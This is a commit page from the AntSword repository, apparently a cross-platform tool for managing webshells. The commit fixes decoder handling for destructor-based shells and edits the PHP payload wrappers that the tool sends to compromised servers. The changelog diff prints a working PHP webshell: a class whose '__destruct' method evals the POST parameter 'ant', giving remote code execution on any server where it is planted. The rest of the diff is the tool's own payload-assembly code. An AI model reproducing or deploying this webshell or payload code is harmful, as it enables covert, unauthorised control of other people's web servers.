Commit 881e97b7 authored by Medicean's avatar Medicean

(Fix:Core) 修复使用 `__destruct` 类型 shell 时 解码器不生效的 Bug (thx @scanf)

parent ed0a2bea
...@@ -12,6 +12,23 @@ ...@@ -12,6 +12,23 @@
* 新增 PHP `base64``rot13` 解码器 * 新增 PHP `base64``rot13` 解码器
* 修复使用 `__destruct` 类型 shell 时 解码器不生效的 Bug (thx @scanf)
> 取消 `register_shutdown_function` 改为显式调用 `asoutput`
测试 Shell 如下:
```
<?php
class Test{
function __destruct(){
@eval($_POST['ant']);
}
}
$test = new Test;
?>
```
### Shell 管理 ### Shell 管理
* 修复搜索数据时正则表达式输入错误导致crash 问题 #157 * 修复搜索数据时正则表达式输入错误导致crash 问题 #157
......
{ {
"name": "antsword", "name": "antsword",
"version": "2.1.0.4", "version": "2.1.0.5",
"description": "中国蚁剑是一款跨平台的开源网站管理工具", "description": "中国蚁剑是一款跨平台的开源网站管理工具",
"main": "app.js", "main": "app.js",
"dependencies": { "dependencies": {
......
...@@ -67,7 +67,7 @@ class PHP extends Base { ...@@ -67,7 +67,7 @@ class PHP extends Base {
} }
// 组合完整的代码 // 组合完整的代码
let tmpCode = data['_']; let tmpCode = data['_'];
data['_'] = `@ini_set("display_errors", "0");@set_time_limit(0);${asencCode};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "${tag_s}";echo @asenc($output);echo "${tag_e}";}register_shutdown_function("asoutput");ob_start();try{${tmpCode};}catch(Exception $e){echo "ERROR://".$e->getMessage();};die();`; data['_'] = `@ini_set("display_errors", "0");@set_time_limit(0);${asencCode};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "${tag_s}";echo @asenc($output);echo "${tag_e}";}ob_start();try{${tmpCode};}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();`;
// 使用编码器进行处理并返回 // 使用编码器进行处理并返回
return this.encodeComplete(tag_s, tag_e, data); return this.encodeComplete(tag_s, tag_e, data);
......
...@@ -25,7 +25,7 @@ class PHP4 extends PHP { ...@@ -25,7 +25,7 @@ class PHP4 extends PHP {
} }
// 组合完整的代码 // 组合完整的代码
let tmpCode = data['_']; let tmpCode = data['_'];
data['_'] = `@ini_set("display_errors", "0");@set_time_limit(0);${asencCode};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "${tag_s}";echo @asenc($output);echo "${tag_e}";}register_shutdown_function("asoutput");ob_start();${tmpCode};die();`; data['_'] = `@ini_set("display_errors", "0");@set_time_limit(0);${asencCode};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "${tag_s}";echo @asenc($output);echo "${tag_e}";}ob_start();${tmpCode};asoutput();die();`;
// 使用编码器进行处理并返回 // 使用编码器进行处理并返回
return this.encodeComplete(tag_s, tag_e, data); return this.encodeComplete(tag_s, tag_e, data);
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment